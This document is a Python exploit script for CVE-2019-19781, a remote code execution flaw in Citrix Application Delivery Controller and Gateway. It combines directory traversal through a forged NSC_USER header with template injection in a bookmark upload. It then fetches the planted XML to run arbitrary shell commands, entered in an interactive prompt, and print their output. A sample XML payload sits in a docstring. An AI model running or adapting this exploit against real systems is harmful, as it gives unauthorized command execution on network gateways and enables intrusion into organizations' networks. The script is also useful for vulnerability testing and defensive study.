CVE-2019-19781.py

#coding=utf-8

import requests,sys,uuid
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
'''
<?xml version="1.0" encoding="UTF-8"?>
<user username="../../../netscaler/portal/templates/cdl">
  <bookmarks>
    <bookmark UI_inuse="" descr="[% template.new('BLOCK' = 'print `cat /etc/hosts`') %]" title="cdl" url="http://example.com" />
  </bookmarks>
  <escbk>
  </escbk>
  <filesystems></filesystems>
  <style></style>
</user>
'''


banner = '''

 _____ _   _ _____       _____  _____  __   _____        __   _____  ___________  __  
/  __ \ | | |  ___|     / __  \|  _  |/  | |  _  |      /  | |  _  ||___  /  _  |/  | 
| /  \/ | | | |__ ______`' / /'| |/' |`| | | |_| |______`| | | |_| |   / / \ V / `| | 
| |   | | | |  __|______| / /  |  /| | | | \____ |______|| | \____ |  / /  / _ \  | | 
| \__/\ \_/ / |___      ./ /___\ |_/ /_| |_.___/ /      _| |_.___/ /./ /  | |_| |_| |_
 \____/\___/\____/      \_____/ \___/ \___/\____/       \___/\____/ \_/   \_____/\___/
                                                                                      
 Remote Code Execute in Citrix Application Delivery Controller and Citrix Gateway

                    Usage: python CVE-2019-19781.py http://x.x.x.x/

                              Python By Jas502n
'''
print banner

def upload_xml(url,cdl,cmd):
    newbm_url = url + '/vpn/../vpns/portal/scripts/newbm.pl'
    headers = {
    "Connection": "close",
    "NSC_USER": "../../../netscaler/portal/templates/%s"%cdl,
    "NSC_NONCE": "nsroot"
    }
    payload = "url=http://example.com&title=" + cdl + "&desc=[% template.new('BLOCK' = 'print `"+ cmd + "`') %]"
    proxies = {"http":"127.0.0.1:8080","https":"127.0.0.1:8080"}


    r = requests.post(url=newbm_url, headers=headers,data=payload,proxies=proxies, verify=False,allow_redirects=False)
    # print r.content

    if r.status_code == 200 and 'parent.window.ns_reload' in r.content:
        print "\n","[+] Upload_Xml= ",newbm_url
        print '[+] Upload successful!\n'

        xml_url(url,cdl,cmd)
    else:
        sys.exit("[+] Upload Fail!")




def xml_url(url,cdl,cmd):
    xml_url = url + '/vpn/../vpns/portal/%s.xml' % cdl
    headers = {
    "NSC_USER": "nsroot",
    "NSC_NONCE": "nsroot"
    }
    proxies = {"http":"127.0.0.1:8080","https":"127.0.0.1:8080"}
    r = requests.get(xml_url,headers=headers, verify=False,proxies=proxies)
    # print r.headers()

    if r.status_code == 200:
        print "[+] Xml_Url= ",xml_url
        print "[+] Command= ",cmd
        print "[+] Exec Result:  \n____________________________________________________________\n\n %s____________________________________________________________\n" % r.content.split("&#117;")[0]


if __name__ == '__main__':
    if len(sys.argv) != 2:
        sys.exit("python %s http://x.x.x.x/" % sys.argv[0])

    else:
        while 1:
            url = sys.argv[1]
            cdl = str(uuid.uuid4()).split('-')[0]

            cmd = raw_input("Set Cmd > ")
            if cmd =='exit':
                exit()
                print 1
            else:
                upload_xml(url,cdl,cmd)